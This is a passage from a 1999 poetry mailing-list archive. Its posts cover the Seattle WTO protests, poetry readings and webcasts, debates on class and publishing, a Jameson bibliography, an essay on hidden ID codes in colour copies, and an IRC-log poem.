Before MicroSoft, Seattle was in a bad way. The expression went, "Will the last person to leave Seattle please turn out the lights." That's when Boeing was having troubles and Seattle was becoming a ghost town. Now because of Bill Gates, Seattle has returned to its former glory, in fact is stronger than ever. Also, Mr. Gates is very pro-WTO. He has some kind of role in the organization (sit on a board of some kind, I suspect others know more than me about this). Certainly it was Mr. Gates who made sure it was Seattle where the conference was held,

and the civil servants in Seattle ask Mr. Gates how high and how often if he even looks like he wants somebody to jump.

So as I type this using Windows and as I read the list using Internet Explorer, I have to ask, just how do you really propose boycotting Seattle businesses? Every other business besides MicroSoft in Seattle is far less culpable, so I would have to agree that boycotting all of them but using Windows and other such products out of necessity is basically harming the innocent and letting the culprit go free.

Therefore I think some other response is more appropriate. How about a letter writing campaign to Bill Gates? How about guerilla poetry? What do the Seattlans think?

Pete

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82. f i l c h
Borges, of interest
Mon 6 Dec 1999

http://www.salonmagazine.com/books/feature/1999/12/06/borges/index.html

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83. Nielsen, Aldon
Los Angeles Reading: Harryette Mullen
Mon 6 Dec 1999

Harryette Mullen reads Sunday, 12/12, 8:00 PM at

Un-Urban Coffee House
3301 Pico Blvd. at Urban
L.A.

for info. call [redacted]

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84. Al Filreis
Edwin Torres via webcast
Mon 6 Dec 1999

The Edwin Torres program announced below will be WEBCAST live, this Saturday, December 11, at 4:30 PM eastern time. If you want to participate via webcast, please write to << [redacted] >>. You will receive information about how to make the connection.

--Al Filreis
Faculty Director, the Kelly Writers House

"It is obvious that Edwin Torres
is the bastard love child of
Mayakovsky and Parra, midwifed by
Apollinaire." -- Christian Haye in The
Poetry Project Newsletter.

the Nuyorican poet and performance worker

E D W I N T O R R E S
++++++++++++++++++++++++

reading/performance
and informal discussion led by Al Filreis

Saturday, December 11
4:30 PM
Kelly Writers House
3805 Locust Walk
on the campus of the University of Pennsylvania

[The program is co-sponsored by the Kelly Writers House, the "PennAdvance Program" of the School of Arts & Sciences, & the Highwire Gallery.]

You can hear audio files of Edwin Torres performing his "All Colors Not White" and "A Wutherance of E" by clicking here:
www.english.upenn.edu/~afilreis/88v/torres.html

About the brilliant Nuyorican poet and performance worker EDWIN TORRES a writer for New York Magazine wrote, "It's hard to wrestle meaning from the shreds of language he tosses out. And on paper, Torres seems to make as much sense as a Port Authority schizophrenic." "It is obvious that Edwin Torres is the bastard love child of Mayakovsky and Parra, midwifed by Apollinaire," writes Christian Haye in The Poetry Project Newsletter. Torres reads at the Poetry Project, Dixon Place, P.S. 122 and the Performing Garage. Recently, he represented New York City in the National Poetry Slam in Boston. He won the Nuyorican Poets Cafe's First Annual Prize for Fresh Poetry. New York Press pronounced him Best Performing Poet this year saying: "His bent for soul bending language play is without equal." Ethan Petitt of Nose Magazine says "instead of sounding things', he 'things' sounds, so that words and meanings go ka-plunk like soft percussion." Some of his widely diverse influences include Wallace Stevens, Mayakovsky, Duchamp, Dada, Fluxus, and even Butoh. Torres' books

include _I Hear Things People Haven't Really Said_ and _Lung Poetry_, and new from Subpress, _Fractured Humorous_.

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85. peter neufeld
WTO
Mon 6 Dec 1999

I thought people on the list might find this of interest.

Peter Neufeld

> *Seattle Doctor speaks on police action in Seattle*

>My name is Richard DeAndrea. I'm a medical doctor. What I saw up
>here was martial law. This turned into a police state. Everything you
>have seen on television regarding local news broadcasts including
>national public radio was a blackout. The police were using concussion
>grenades. They were shooting tear gas canisters directly at protesters'
>faces. They were using so-called rubber bullets. These are actually
>hard plastic. Some of the damage I saw: these plastic bullets took off
>part of one person's jaw, smashed teeth in other people's mouths. I saw
>the police arrest people who had their hands up in the air screaming
>we are peacefully protesting. The amount of looting that took place was
>so minimal I don't even know where they got the footage from. I am
>saying this beyond a shadow of a doubt. This is a definite sign that
>America is heading towards a police state unless people start standing
>up for their rights as individuals. I am actually shocked and ashamed. I
>am ashamed of the police force, I am ashamed of the

mayor I am
>ashamed of Bill Clinton. I am ashamed of the whole
thing.
>
>Jared: These rubber bullets - what are they?
>
>Dr. DeAndrea: They are made of polyester type
material. They are
>like a hard plastic toy. The idea is to hit your
body, do damage, not
>actually penetrate. But I did see penetration wounds,
I did see people
>bleeding. I did see teeth loss, I did see broken
bones. There were
>children present, there were families present, they
were firing upon
>families, mothers, grandmothers. They were just
firing at them. They
>came out in full police force. They brought out swat
teams, they had
>the national guard up here, there was CIA surrounding
the delegates'
>buildings. It was very obvious that there was an
institutional control
>that had no regard of human rights whatever.
>
>In addition we have video footage of protesters being
taken away as
>well as human rights being violated. Prisoners were
taken and they
>were tortured. There is a case, I believe his name is
Holm, Keith Holm.
>He was tortured because he would not give his name.
They
>handcuffed, laid him on the floor, they smashed his
face against the
>concrete, they grabbed his hair, they ripped out a
lock of hair. and
>then placed pencils between his fingers and pressed
on them until he
>would give his name. He refused. They were also
banging his head

>against metal objects. He was actually the first protester released
>because the Internal Affairs came in to do an investigation and they
>wanted him gone because he would be able to give testimony.
>
>We're treating people in a studio loft downtown. I just treated an ear
>wound. People have been treated for concussion injuries. There have
>been people who have been treated for plastic bullet wounds. Lots of
>tear gas injuries, lots of damage to cornea, lots of damage to the eyes
>and skins. They were using a pepper spray, a tear gas and they were
>also using some sort of nerve gas. We had reports of many
>demonstrators winding up with seizures the next day. It causes muscles
>to clamp up, muscle contraction, seizures.
>
>They have done several illegal things regarding these people in jail.
>They have been telling them that they would not be let out, not have
>their bail set if they didn't give their names. Its their legal right not to
>give their name. They don't have to speak at all. Attorneys came up
>and said we are representing these people. The police called the
>attorneys liars. At this point they have still refused to let any of them
>see their clients. There are close to 600 people who were arrested and
>they have been holding them for two days on charges that are mostly
>misdemeanors, such as refusal to disperse. A lot of people in there
>have not gotten medical attention either. I have

gotten calls from young
>ladies in there who have had all sorts of emotional
problems as well as
>physical problems. They have called me for medical
attention from
>inside the jail. There are people still sitting in
there who have not even
>been processed.
>
>Today there were fewer attacks by police, but they
did arrest more
>people. And there was no violence today by the
marchers and all
>through the day yesterday it was the same. What you
are seeing on
>television about looting and anarchistic protesters -
there's
>a straight-out blackout and they are basically
pushing that [line]. There
>is not much damage to property here. There are not
many windows that
>have been damaged or stores that have been looted.
Those are
>extremely rare cases.
>
>I used to believe newspapers were telling the truth.
But now I am no
>longer behind that. This is the beginning of a police
state. You can
>quote me on that.
>
>http://www.brasscheck.com/seattle
>
>
>
>
>
>
>+==========
=======+

Do You Yahoo!?

Thousands of Stores. Millions of Products. All in one place.
Yahoo! Shopping: http://shopping.yahoo.com

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86. Wright Laura E
Re: What class are you?
Mon 6 Dec 1999

Hello -- I'm finally back on the list after misadventures in relocation.
These days, I think it's more expensive to go to a hockey game than the symphony -- and what does that say?
(> What about culture? Are you talking Culture (would you rather
> go to the
> philharmonic or the hockey game?)
(I'd like to go to both, please)

But what I really wanted to mention, re. class, is an Argentinian/Canadian film, The Dark Side of the Heart, whose main character is a poet who wanders the streets, reciting lines of poetry and asking for handouts. Also writes love poems in exchange for steaks at the local grill. "Death" (his frequent companion) is always trying to find him a "real" job. Has anyone else seen this film?

Why do we venerate self-published works when their authors are dead, yet only feel like "real" poets when someone else publishes us? What does it mean to "be a poet." (I vote w/Ted Berrigan, a poet is someone who makes poems -- but then, what is a poem? (something a poet makes?))

Laura

"I would sooner read a timetable or a catalogue than nothing at all."
-W. Somerset Maugham

Laura E. Wright
Norlin Acquisitions
[redacted]

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87. Jim Andrews
Bill Marsh at Defib: the canned version
Mon 6 Dec 1999

The canned version of the Nov 21/99 Defib show featuring Bill Marsh is now available at http://webartery.com/defib/canned/3bill

Defib is webartery.com's live online web artist interview surf show. The transcript from the live chat sessions of interviews with Web artists is produced into hypertranscipt versions of the sessions.

Bill Marsh is a writer who combines critical acumen with an engaging poetical approach to Web art. He's just launched sunbrella.net, a Web broadcasting/publishing venture. To be a publisher now can also involve broadcasting various media. Broadlishers and pubcasters. Bill is the publisher of Paper Brain Press.

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88. Alaric Sumner
Nekyia, UEA Norwich and Rotterdam
Tue 7 Dec 1999

NEKYIA (for speaker, singer, electronic sounds and video)
a collaboration between sound/video artist Joseph Hyde and writer Alaric Sumner

Live Samples Festival, Rotterdam - Saturday 11th December

Electroacoustic Music Department, University of East Anglia, Norwich - Monday 13th December

Previous performances in September: Champlibre, Montreal and Shawford Mill, Somerset
Reviewed: Le Devoir, Montreal.

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89. Rachel Loden
Publishers Weekly, December 6, 1999
Tue 7 Dec 1999

Reviews of Carl Phillips, Edwin Torres, Jorie Graham, Marilyn Hacker, Les Murray, Patricia Goedicke, Eric Pankey, Reginald Shepherd, Joel Kuszai (editor of POETICS@), and also this, about my book HOTEL IMPERIUM:

"Pop and politics haven't had their hats handed to them in this Popean a manner in ages. Reminiscent of the acute fantasias of Susan Wheeler and Elaine Equi, though temperamentally closer to Connie Deanovich, Loden's poems talk about what people are (or have been) talking about, but with barbs hilariously sharpened. Targets include: most of the recent Republican presidents (mercifully, she exempts Ford), beauty culture, Woody Allen, Alan Greenspan, Dan Rather, and insurance companies. 'For an eye, not an eye./ For a tooth, forget it,' she writes in 'Memo from the Benefits Department.' Poetry consumers will find special interest in language/system queries like 'DCEASE', a surprisingly

moving meditation that begins, 'There are two Elvis Presleys in the Social Security Death Master File (DCEASE). The King's social security number is 409-52-2002.' And language enthusiasts will approve of 'Last W&T', a rearrangement, refrigerator-poetry-magnet style, of the words of Richard Nixon's will. The danger that cynicism will overtake the indignation that propels these poems is averted by the joy, bafflement and innocence of her poems that take icons as incidental examples, not front-and-center subjects. Take 'The Little Richard Story': 'On a day like this,/ without the music/ of appearances, creatures/ could land and you/ would not be able to explain/ anything to them, not/ the fearless industry/ of beavers, or why dust bunnies/ prefer the dark, not even/ how Little Richard/ himself came into being.' . . . Loden's first full collection marches smartly down the path of satire."

FYI, poetry lovers . . .

* - * - * - * - * - * - * - * - * - * - * - *

Rachel Loden

http://www.thepomegranate.com/loden/hotel.html

email: [redacted]

* - * - * - * - * - * - * - * - * - * - * - *

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90. Daniel Kane
Clepsydra
Tue 7 Dec 1999

Anyone know of any good writing on Ashbery's "Clepsydra?" I've read Shoptaw, and am looking for more. If you have a moment, bc to
[redacted]
Thanks,
--daniel

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91. Scot Hacker
Re: funding for the arts
Tue 7 Dec 1999

This is a 1995 story which will not die, which some of us have seen a couple times a month for the past four years. See:

http://www.artistresource.org/new11_13.htm

Please do NOT forward this to anyone. Send all hoaxes and zombie memes back upstream.

- Scot

> -
> *Dear Friends:*
> *On NPR's Morning Edition, Nina Totenberg reported that*
> *if the Supreme Court supports Congress to cut the*
> *budget of the National Endowment of the Arts, it is in*

--

The BeOS Tip Server: http://www.betips.net/
The BeOS Bible: http://www.birdhouse.org/beos/bible/
The Alt.OS Usability Challenge: http://www.betips.net/challenge/

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92. Chris Stroffolino
Re: Jameson's Perelman
Tue 7 Dec 1999

See also, Burnham, CLint. THE JAMESONIAN UNCONSCIOUS. (Duke, I think?) 1995...

On Fri, 3 Dec 1999, Brian Lennon wrote:

> *A few months back I requested help tracking down cites for counter-commentary on Jameson's discussion of Perelman. Thanks to all who responded. ---BL*
>
> *Jameson, Frederic. Postmodernism, or, The Cultural Logic of Late Capitalism. Durham: Duke University Press, 1991.*
>
> *Armantrout, Rae. "Irony and Postmodern Poetry." Moving Borders: Three Decades of Innovative Writing by Women. Ed. by Mary Margaret Sloan. Jersey City: Talisman House, 1998: 674-679.*
> *Golding, Alan. From Outlaw to Classic: Canons in American Poetry. Wisconsin, 1995.*
> *Hartley, George. "Jameson's Perelman: Reification and the Material Signifier." Textual Politics and the Language Poets. Bloomington and Indianapolis: Indiana UP, 1989: 42-52.*
> *Perelman, Bob. "Parataxis and Narrative: The New Sentence in Theory and Practice." The Marginalization of Poetry: Language Writing and Literary History. Princeton: Princeton UP, 1996: 59-78.*
> *von Hallberg, Robert. "Poetry, Politics, and Intellectuals." The Cambridge History of American Literature, Volume 8: Poetry and Criticism. Ed. by Sacvan Bercovitch. Cambridge: Cambridge UP, 1996. 9-260.*
>
> *see also*

> *Silliman, Ron. The New Sentence. New York: Roof, 1985.*
>
> *Useful critiques and periodizations of Jameson's postmodernism:*
> *Best, Steven. "Jameson, Totality, and the Poststructuralist Critique." Postmodernism/Jameson/Critique. Washington, D.C.: Maisonneuve Press, 1989. 333-368*
> *Featherstone, Mike. "Postmodernism, Cultural Change, and Social Practice." Postmodernism/Jameson/Critique. Washington, D.C.: Maisonneuve Press, 1989. 117-138.*
> *Helming, Steven. "Jameson's Postmodernism: Version 2.0." Postmodern Culture 9.2*
> *http://muse.jhu.edu/journals/postmodern_culture/v009/9.2.r_helming.html*
> *-----. "Marxist Pleasure: Jameson and Eagleton." Postmodern Culture 6.1.*
> *http://muse.jhu.edu/journals/postmodern_culture/v006/6.1consenstein.html*
> *Kellner, Douglas. "Introduction: Jameson, Marxism, and Postmodernism." Postmodernism/Jameson/Critique. Washington, D.C.: Maisonneuve Press, 1989. 2-37.*
> *Shumway, David R. "Jameson / Hermeneutics / Postmodernism." Postmodernism/Jameson/Critique. Washington, D.C.: Maisonneuve Press, 1989. 172-202.*
>
> [redacted]
> *http://www.columbia.edu/~bml18*

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93. **pete spence**

Re: What class are you?

Tue 7 Dec 1999

> *Who supports and pays for poetry? Good question that I hope will provoke lively discussion...*
>
> *Jonathan Mayhew*
> [redacted]
>
> _____

i've seen a lot of poets who expect others to buy their new book but shy away from reading others,,who buys but the overinterested!!! pete

_____
Get Your Private, Free Email at http://www.hotmail.com

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94. pete spence
Re: Class and Money
Tue 7 Dec 1999

> *Suppose Maria Zavialov was not working class.So what. You don't have to be working class to talk about the working class??????*
>
> *Does Pete have a special knowledge that Maria belongs to the idle reach?*

if you can only respond to those you know on this listserve seems then it serves no purpose//pete

> > >Or is it implicit in his comment that labor is only labor ("authentic") >if
> > >it
> > >is working class? Is this an example of the "sentimental working-class
> > >poetics?"
> > >
> > >
> > >Murat Nemet-Nejat
> >
> > maybe maria could have worded it better ,still think i probably seen >closer
> > views of working class than a lot, my father a socialist was under the
> > threat of the "crimes act' here for years and i remember him being
> > interviewed on t.v. knowing he would probably be arrested when he left >the
> > studio could go on but!!! sentiment/sediment/saidund meant//pete spence
> >
yeah so we were working class and my father had government ministers to dinner a lot of things happened back then and i'm happy that i went through it i know what it is about at least from being on its doorstep for my growing years 'till my father died when i was about 24 since then i've carried the lessons carefully//pete spence

---

Get Your Private, Free Email at http://www.hotmail.com

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95. Maria Damon
Re: lisa robertson
Tue 7 Dec 1999

oh louis this is so touchingly urgent and beseeching that, though i don't know lisa robertson's address and won't bother to look it up since you can do so yourself, i will be troubled and haunted by your plaintive tone and send good vibes out there that you and lisa robertson will, no, MUST, connect on the psychic if not the cyber plane.

At 12:52 PM -0500 12/3/99, Louis Cabri wrote:
>Does anyone have an updated email address for Lisa Robertson?
>
>Can someone help me with this?
>
>Is there one of you out there who would go to the trouble of looking up
>Lisa Robertson's email address for me, one that is current?
>
>Can I possibly ask someone to look up an email address for me?
>
>Could it be you that I am searching for, one of you who holds the address
>to Lisa Robertson's email home?
>
>Is it now, here, in this place, that I will find the email address of one
>of you, who is, nonetheless, not a subscriber?
>
>Might it be soon that someone will preoccupy their own thoughts with this
>request?

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96. Maria Damon
Re: Humble seed
Tue 7 Dec 1999

At 1:30 PM -0500 12/3/99, R. Drake wrote:
>why would one want to make a Book out of Online work? would that
>"validate" it somehow? or make it a more marketable Commodity?

to see how/.if it can be done. miekal and i have discussed this for some
of our work and it's v. challenging.
>
>and why would one want to arbitrate for others what is "The Best"
>(and, by exclusion, The Rest, all the Other...)? or why would one
>give another the power to arbiter that work for them?

>
>[the tone of my speaking voice, asking these questions, is not intended
>to be as "hostile" as the written version might seem... since i suspect
>steve tills suggestion is aimed to promote online works, and i share
>that as a goal...]
>
>
>luigi
>burning press
>http://www.burningpress.org/va/vaintro.html
>
>
>>So what would it look like, _The Best American Poetry Online_, culled
>>from 75 experimental hypertext mags, if say three-four-five hundred
>>experimental poets each pitched in 20 small bucks for their own two
>>copies a piece and maybe another 20 little dollars to get a coupla
>>copies into every Bans and Ignoble and Aborters big comfortable public
>>libraries/stores in the country? Some cunning <buyers group brokering>
>>with Amazon.com and the publishers and others could also help...

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97. Maria Damon

Re: WTO

Tue 7 Dec 1999

---

apropos this debacle, did anyone see in the paper that the supreme court is going to hear a case challenging the consitutional necessity of the Miranda Laws????what next???this seems as mindbogglingly cynical as their decision, about 7-10 years ago, to no longer hear capital punishment appeals because they were "too costly."

At 12:32 PM -0500 12/3/99, Patrick Herron wrote:
>David Bromige wrote -
>
>>Cities will have to live with the fact that the USA allows peaceful
>assembly of dissidents.
>
>Unfortunately, David, to be quite frank, Amerika DOES NOT allow peaceful
>assembly that much any more. The legal protections for peaceful protesters
>have been disappearing for a long time.
>
>Amerika is a police state. Your only protection in Amerika is money,
>connections.

>
>Land of the free, home of the brave
>is really
>land of the fee, home of the knave.
>
>And then, lest we forget, there's always agent provocateur activities within
>many political movements in the US, people paid to make the peaceful look
>violent.
>
>This was a wonderful note, David. I am very glad you shared it with
>everyone. What you are saying in your note is indeed what is going on. I
>have a good friend who is at Capitol Hill in the middle of it and I am
>worried about him.
>
>Under a state of emergency, the city of Seattle made it illegal to use a
>gaskmask, and the penalty is 180 days in jail and/or a large fine.
>
>Patrick
>
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com

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98. Dodie Bellamy

Re: CLASS

Tue 7 Dec 1999

At 2:16 PM -0800 12/3/99, Katie Degentesh wrote:
>
>(class/race/gender/blah blah blah)

Dear Katie Blah Blah Blah,

This is rather dismissive, don't you think?

Dodie

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99. { brad brace }

IDs in Color Copies (fwd)

Tue 7 Dec 1999

Greetings. We've recently seen a tirade of stories about "hidden" identification codes and what many would consider to be surreptitious centralized information flowing from various popular Internet products and packages. These have tended to highlight an important truth--whether or not users really would be concerned about the particular identifiers or data involved, they tend to get the most upset when they feel that an effort was made to perform such functions "behind their backs." While it can be argued how routine, intrusive, or even mundane and innocent a particular case may be, it's certainly true that people feel a lot better when they know what's going on.

This issue isn't restricted only to the Internet world. A case in point-- the recurring rumors floating around regarding the presence or absence of identification codes in color copies (or color prints xerographically generated from computer output systems).

A recent story involved a customer who was refused permission to make a color copy of his driver's license (to deal with an identification problem with his local telephone company). A Kinko's (copying center) worker reportedly told him that such a copy was "illegal," and could be traced back to the store through a "hidden ID."

Regardless of whether or not the Kinko's employee was being overzealous in his interpretation of the rules, what's really going on here regarding a so-called hidden ID code?

In fact, rumors about this, often chalked up as an "urban legend," have been circulating for a long time. This is a bit ironic, given that in the copier/printer industry it's been well known for years--no secret--that "invisible" IDs *are* imprinted on virtually all color xerographic output, from (apparently) all of the manufacturers. But for persons outside of "the trade," this hasn't been as widely known (even though the issue goes back to the early 90's, and the topic has appeared in publications such as the Wall Street Journal). However, it does not appear that the privacy-related aspects of this technology have ever been subject to significant public discussion.

In an effort to pin down the current state of the art in this area, I had a long and pleasant chat with one of Xerox's anti-counterfeiting experts, who is the technical product manager for several of their color-copying products. The conversation was quite illuminating. Please note that the details apply only to Xerox products, though we can safely assume similar systems from competing manufacturers, although their specific policies may differ.

Years ago, when the potential for counterfeiting of valuable documents on color copiers/xerographic printers became apparent in Japan (where such machines first appeared) manufacturers were concerned about negative governmental reaction to such technology. In an effort to stave off legislative efforts to restrict such devices, various ID systems began being implemented at that point. At one stage for at least one U.S. manufacturer, this was as crude as a serial number etched on the underside of the imaging area glass!

Modern systems, which are now reportedly implemented universally, use much more sophisticated methods, encoding the ID effectively as "noise" repeatedly throughout the image, making it impossible to circumvent the system through copying or printing over a small portion of the image area, or by cutting off portions of printed documents. Effectively, I'd term this as sort of the printing equivalent of "spread spectrum" in radio technology.

To read these IDs, the document in question is scanned and the "noise" decoded via a secret and proprietary algorithm. In the case of Xerox-manufactured equipment, only Xerox has the means to do this, and they require a court order to do so (except for some specific government agencies, for whom they no longer require court authorizations). I'm told that the number of requests Xerox receives for this service is on the order of a couple a week from within the U.S.

The ID is encoded in all color copies/prints from the Xerox color copier/printer line. It does not appear in black and white copies. The technology has continued to evolve, and it is possible that it might be implemented within other printing technologies as well (e.g. inkjet). At one time there were efforts made to also include date/time stamps within the encoded data, but these were dropped by Xerox (at least for now) due to inconsistencies such as the printer clocks not being set properly by their operators, rendering their value questionable.

It's interesting to note that these machines also include other anti-counterfeiting measures, such as dumping extra cyan toner onto images when the unit believes it has detected an attempt to specifically copy currency. These techniques have all apparently been fairly successful--the Secret Service has reported something on the order of a 30% drop in color copying counterfeiting attempts since word of such measures has been circulating in the industry. The average person might wonder who the blazes would ever accept a xerographic copy of money in any case... but apparently many persons are not very discerning. I'm told that the Secret Service has examples in their files of counterfeit currency successfully passed that was printed on *dot matrix* printers. So counterfeiting is certainly a genuine problem.

OK, so now you know--the IDs are there. The next question is, what does this really mean? Obviously the vast majority of uses for color copies are

completely innocuous or even directly beneficial to the public good (e.g. whistleblowers attempting to expose a fraud against the public). Is it acceptable for an ID to be embedded in all color copies just to catch those cases? The answer seems to be, it depends.

In some cases, even having an ID number doesn't necessarily tell you who currently owns the machine. While some countries (e.g. China) do keep tight reign on the ownership and transfer of such equipment, there is no "registration" requirement for such devices in the U.S. (though the routine servicing realities of large units might well create something of a de-facto registration in many situations).

Xerox points out that non-color copies (at least on their machines) have no IDs, and that most copying applications don't need color. It is however also true that as the prices of color copiers and printers continue to fall, it seems only a matter of time before they become the "standard" even for home copying, at which time the presence of IDs could cover a much vaster range of documents and become increasingly significant from a routine privacy standpoint.

It's also the case that we need to be watchful for the "spread" of this technology, intended for one purpose, into other areas or broader applications (what I call "technology creep"). We've seen this effect repeatedly with other technologies over the years, from automated toll collection to cell phone location tracking. While there is currently no U.S. legislative requirement that manufacturers of copier technology include IDs on color copies, it is also the case that these manufacturers have the clear impression that if they do not include such IDs, legislation to require them would be immediately forthcoming.

It is important to be vigilant to avoid such perceived or real pressures from causing possibly intrusive technology creep in this area. In the copier case, that ID technology being used for color copies *could* be adapted to black and white copies and prints as well. The addition of cheap GPS units to copiers could provide not only valid date/time stamps, but also the physical *locations* of the units, all of which could be invisibly encoded within the printed images.

Pressures to extend the surveillance of commercial copyright enforcement take such concepts out of the realm of science-fiction, and into the range of actual future possibilities. What many would consider to be currently acceptable anti-counterfeiting technology could be easily extended into the realm of serious privacy invasions. It would only require, as Dr. Strangelove once said, "The will to do so."

Perhaps the most important point is that unless we as a society actively stay aware of these technologies, however laudable their initial applications may often be, we will be unable to participate in the debate that is crucial to determining their future evolution. And it's in the vacuum of technology evolving

without meaningful input from society that the most serious abuses, be they related to the Internet or that copy machine over on your desk, are the most likely to occur.

--Lauren--
[redacted]
Lauren Weinstein
Moderator, PRIVACY Forum - http://www.vortex.com
Co-Founder, PFIR: People for Internet Responsibility - http://www.pfir.org
Member, ACM Committee on Computers and Public Policy

The_12hr-ISBN-JPEG_Project since 1994 <<<<

+ + + serial ftp://ftp.wco.com/pub/users/bbrace + + + eccentric
ftp://ftp.netcom.com/pub/bb/bbrace + + + continuous
ftp://ftp.teleport.com/users/bbrace + + + hypermodern
ftp://ftp.rdrop.com/pub/users/bbrace + + + imagery
ftp://ftp.pacifier.com/pub/users/bbrace

> *News://alt.binaries.pictures.12hr / a.b.p.fine-art.misc*
> *Mailing-list:* [redacted] */ subscribe 12hr-isbn-jpeg*
> *Reverse Solidus: http://www.teleport.com/~bbrace/bbrace.html*

{ brad brace } <<<< [redacted] >>>> ~finger for pgp

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100. Al Filreis
recording available
Wed 8 Dec 1999

The recording of the symposium held earlier tonight* at the Kelly Writers House in Philadelphia - featuring Ron Silliman, Jena Osman, Bob Perelman, and Brian Kim Stefans, and interactions with, among others, Tom Orange from Washington, Alan Golding from Louisville, and Patrick Durgin from Iowa - is now available. Go here:

www.english.upenn.edu/~wh/webcasts/symposium.html

and click on "A recording of this event is available."

Al Filreis
The Class of 1942 Professor of English
Faculty Director, the Kelly Writers House
University of Pennsylvania

* 12/7/99

↑ Index

101. **f i l c h**

Re: The Work of Authority in IRC Channel #Nikuko

Wed 8 Dec 1999

Alan,

When I was on this list several years ago my attempts at getting the list to be aware of the intricacies and nominalizations of this form were met with curses and eventually the boot was given to my skinny ass.

What was considered taboo at that time; the posting of imagined conversations and telephone numbers between two distracted and desperate lovers was met with active hostility. In fact the only member who found my work to be of interest was Christopher Funkhouser. It is refreshing (even scary) and endlessly fascinating to see now that home numbers, addresses, emails, etc. are bandied about in quite a free manner. It seems that the point(s) I was trying to explore have now been nominalized within the context of the group.

It's so interesting to me, one of my perennial interests I guess, how the dynamics of listservs are effected by the simple reply-to function of the majordomo. I was cheered, nee amused, when I went to respond to this recent posting of yours and I found myself responding to the group.

I received a recent post <backchannel> from a member who expressed a disdain for the dynamics for the list as it seems to this person that the list serves as more of bulletin board for future (unattainable) events than as a real discussion space for poetics. My take on this is that this space is not for discussion but is rather a living(?) laboratory for the exploration of these small and terribly important issues such as the bots talk in your piece. And of course it also serves as an archive of these items. Most of the time I could care less whether there is an interesting discussion going on as, for me it serves as a wonderful place to dump texts which I want to be able to find again, reconstruct again, deconstruct again in 50 years.

The point behind all of this and my letter is to express my appreciation for your work. Of all the comments and work I have seen posted here since I rejoined you seem really to be grappling with the issues which this medium creates/compounds/ignores. The growth in your work and the maturity that I see in works like "Re: The Work of Authority in IRC Channel #Nikuko" are breathtaking to behold and I am so pleased that I could rejoin and see this in comparison to the work of yours I saw before (several years ago) which did not seem to be effected at all by the medium.

So a hearty "Bravo!" to you sir and a round of ale for all in the house.

btw <grin> ----- The following addresses had permanent fatal errors -----
<I'[redacted]>

f i l c h

> *From: Alan Sondheim <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *Date: Sun, 5 Dec 1999 22:43:15 -0500*
> *To: [redacted]*
> *Subject: The Work of Authority in IRC Channel #Nikuko*
>
> **
>
> *The Work of Authority in IRC Channel #Nikuko*
>
> *IRC log started Sun Dec 5 02:18*
> **** Value of LOG set to ON*
> *< Nikuko > This is so very sad.*
> *< Nikuko > Where are you?*
> *< Nikuko > Hello, Jennifer?*
> **** Nikuko is now known as Jennifer*
> *- NickServ - This nick is owned by someone else. Please choose another.*
> *- NickServ - If this is your nick, type: /msg NickServ IDENTIFY <password>*
> *- NickServ - Your nick will be changed in 60 seconds if you do not comply.*
> **** Jennifer is now known as Julu*
> *- NickServ - This nick is owned by someone else. Please choose another.*
> *- NickServ - If this is your nick, type: /msg NickServ IDENTIFY <password>*
> *- NickServ - Your nick will be changed in 60 seconds if you do not comply.*
> **** Julu is now known as JJennifer*
> *< JJennifer > I am so sorry, morphing like this.*
> *< JJennifer > O! Nikuko, I have missed you.*
> *[E/X] Signon at 2:20 am for options detected.*
> *< JJennifer > Who is that other?*
> *< JJennifer > Tell me...*
> **** JJennifer is now known as Nikuko*
> *< Nikuko > Oh Oh Oh Come towards me.*
> *< Nikuko > Oh I am so very sorry, I am crying enormously here.*
> **** Nikuko is now known as JJennifer*
> *< JJennifer > Nikuko, I miss you wildly, these spaces collapse*
> *to nothing.*
> **** JJennifer is now known as Nikuko*
> *< Nikuko > These spaces are nothing, Jennifer, our love is one*
> *forever...*
> **** Nikuko is now known as JJennifer*
> *< JJennifer > Melt with me, Nikuko, melt with me.*
> **** JJennifer is now known as Nikuko*
> *< Nikuko > I am melting, JJennifer*
> **** Nikuko is now known as NikukoJen*
> *< NikukoJen > Ah ah ah ah ah*
> *[E/X] Signoff at 2:23 am for options detected.*

> **** NikukoJen is now known as JenniferN*
> *< JenniferN > Ah ah ah ah ah*
> **** JenniferN is now known as NJieknunk*
> *< NJieknunk > Ah ah ah ah ah*
> **** NJieknunk is now known as JNeinknui*
> *< JNeinknui > Ah ah ah ah ah*
> **** JNeinknui is now known as All*
> *< All > Ah ah ah ah ah!*
> *- NickServ - This nick is owned by someone else. Please choose another.*
> *- NickServ - If this is your nick, type: /msg NickServ IDENTIFY <password>*
> *- NickServ - Your nick will be changed in 60 seconds if you do not comply.*
> *< All > Ah ah ah ah ah!*
> **** All is now known as One*
> *- NickServ - This nick is owned by someone else. Please choose another.*
> *- NickServ - If this is your nick, type: /msg NickServ IDENTIFY <password>*
> *- NickServ - Your nick will be changed in 60 seconds if you do not comply.*
> **** Signoff: One (But the time has come when all things shall pass.)*
> *IRC Log ended *** Sun Dec 5 02:26*
>
> ---

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102. Katie Degentesh
Re: CLASS
Wed 8 Dec 1999

Dear Dodie Blah,

Yes. Is there something wrong with that? Dismissiveness can be a byproduct of judgment, which in turn is often necessary for the writing of poetry. Although you were kind enough to send your post to the list instead of needling me by backchannel, I sense a certain amount of dismissiveness in your own response.

Katie Degentesh

At 5:39 PM -0800 12/7/99, Dodie Bellamy wrote:
>At 2:16 PM -0800 12/3/99, Katie Degentesh wrote:
>>
>>(class/race/gender/blah blah blah)
>
>Dear Katie Blah Blah Blah,
>
>This is rather dismissive, don't you think?
>
>Dodie

↑ Index

103. Todd Baron /*/ ReMap Readers

space is the place

Wed 8 Dec 1999

---

thanks to all
for "first american poem" response.I think the list works best for me
when
there is this dialogue. and
thinking of Robert Duncan and his
"poetics of co-response" he talked of
--this--is so important to me.
so: then: reading "Our Town" , thinking of Williams
and the particular--and Oppen (Beautiful Particulars, also)
--what do you think of a poetics of the local (olson?)
that has the inter-net as place?

per this conversation regarding
an anthology of poetics from this space.

What happens to place
when place is
all over?

Todd Baron.
ReMap

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104. Steve Tills

Humble Seed

Wed 8 Dec 1999

Luigi,

What I suggest is not so much to <make a book of on-line work> as to present an alternative to the _Best American Poetry_ series, or a parody or a spoof or, again, a serious experimental alternative to that text, replete with its conservative-skewed poetries.

Is the effort to validate on-line poetries? Sort of, yes. Though why not, if only for kicks, and/or tricks, get more experimental poetry into mainstream bookstores. Why not play the same games and open up the playing fields (to kids, patrons...) in as many new ways as one can imagine?

